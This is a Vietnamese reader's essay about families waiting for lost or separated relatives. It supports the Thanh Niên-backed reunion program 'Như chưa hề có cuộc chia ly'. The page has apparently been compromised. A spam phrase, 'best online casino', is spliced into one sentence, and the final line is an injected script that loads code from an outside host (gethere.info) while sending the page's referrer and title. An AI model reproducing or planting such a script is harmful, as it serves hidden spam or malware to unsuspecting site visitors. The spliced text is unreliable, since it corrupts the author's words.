Khán giả

Hy vọng và chờ đợi…

Ngày đăng: 06/11/2007 | Lượt xem: 121

Không biết bao nhiêu con người đã và đang phải đợi chờ trên thế giới này.
Không biết bao nhiêu người đã được đoàn tụ sau những tháng năm dài chia ly.
Nhưng tôi biết, tôi hiểu nỗi lòng của những người đang ngày đêm chờ đợi người thân quay về.

Quê tôi là vùng cát trắng xóa ven biển với những con người chân chất nhất. Và nơi những bãi cát kia hằng đêm vẫn có những người phụ nữ thẫn thờ ngồi nhìn ra màn đêm đen kịt của biển khơi xa xăm – họ đợi chồng về. Dẫu biết rằng không thể – bởi lẽ có ai trở về đâu sau những cơn báo tan thương của biển khơi dữ dội. Hy vọng và chờ đợi vào cái phận may dù là nhỏ nhoi và càng ngày càng hy vọng càng tiến về cái con số không cay nghiệt.

Dù hầu như không còn hy vọng và cũng chẳng ai có thể trả lời cho những người phụ nữ ấy rằng chồng họ ở đâu, đã thực sự chết hay chưa, hay hy hữu may mắn sống sót nơi hòn đảo hoang nào đó mà chưa quay trở lại được…. họ vẫn chờ đợi, chờ đợi đến phờ phạc thân xác và tâm hồn, để hóa điên, hóa dại…

Vậy những con người bị chia ly trong một hoàn cảnh khác, cõ lẽ niềm hy vọng ấy sẽ còn có cơ sở hơn, bởi lẽ họ chỉ bị ly tán, ở một nơi nào đó người thân của họ vẫn sống, vấn đang tìm cách để quay trở về với họ. Chứ không như những người phụ nữ quê tôi.

Nhưng vẫn chỉ dừng lại ở đó – ở sự hy vọng, chứ đã mấy ai ly tán mà tìm về lại được với nhau. Bởi họ hầu như vẫn cô độc một mình tìm kiếm. Những thông báo tìm người thân vẫn đăng khắp các website, nhưng hơn 80 triệu người dân Việt Nam chỉ có khoảng 1/8 dân số biết đến Internet và cũng chỉ tập trung ở thành phố lớn. Cũng không mấy cơ may để những thông tin tìm kiếm đó đến được với người biết thông tin bởi lẽ nó quá phân tán, mỗi website một vài thông tin nhỏ lẻ. Các chương trình tìm người thân trên truyền hình thì quá ít và không phải ai cũng có điều kiện tiếp cận và biết được những thông báo khoảng 30 giây ngắn ngủi ấy.

Có quá nhiều điều điều bất lợi để người best online casino cần tìm kiếm tìm được thông tin cần thiết.

Chính vì vậy tôi rất hy vọng như chưa hề có cuộc chia ly sẽ khắc phục được những bất cập đó. Sẽ là nơi tập hợp đầy đủ và hệ thống nhất những thông tin ấy để những người cần tìm kiếm người thân tìm đến. Sẽ là nơi để cho những hy vọng đang dần vụt tắt được sáng lên.

Với sự kết hợp của nhiều phương tiện truyền thông đại chúng, chiếc ti vi, cái radio bé nhỏ… Sẽ có nhiều người biết đến chương trình như chưa hề có cuộc chia ly…

Nhất là sự hỗ trợ của báo Thanh Niên, tờ báo mà bất kỳ ai cũng biết đến, với những câu chuyện đoàn tụ cảm động  được đăng gần đây, thì chương trình sẽ được nhiều người biết đến hơn. Sự tham gia từ cộng đồng, dẫu chỉ là những thông tin nhỏ lẻ mà mình biết về những con người bị ly tán nhưng cũng sẽ rất thiết thực và quan trọng với bất kỳ những ai đang kiếm người thân.

Tất nhiên không ngoại trừ sự hỗ trợ từ phía các doanh nghiệp để chương trình sẽ thực sự lớn mạnh và có hiệu quả.

Chương trình như chưa hề có cuộc chia ly ra đời, tôi biết đó là sự kỳ vọng bấy lâu của biết bao nhiêu người, đem lại cho họ những hy vọng mới về một ngày mai đoàn tụ.

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;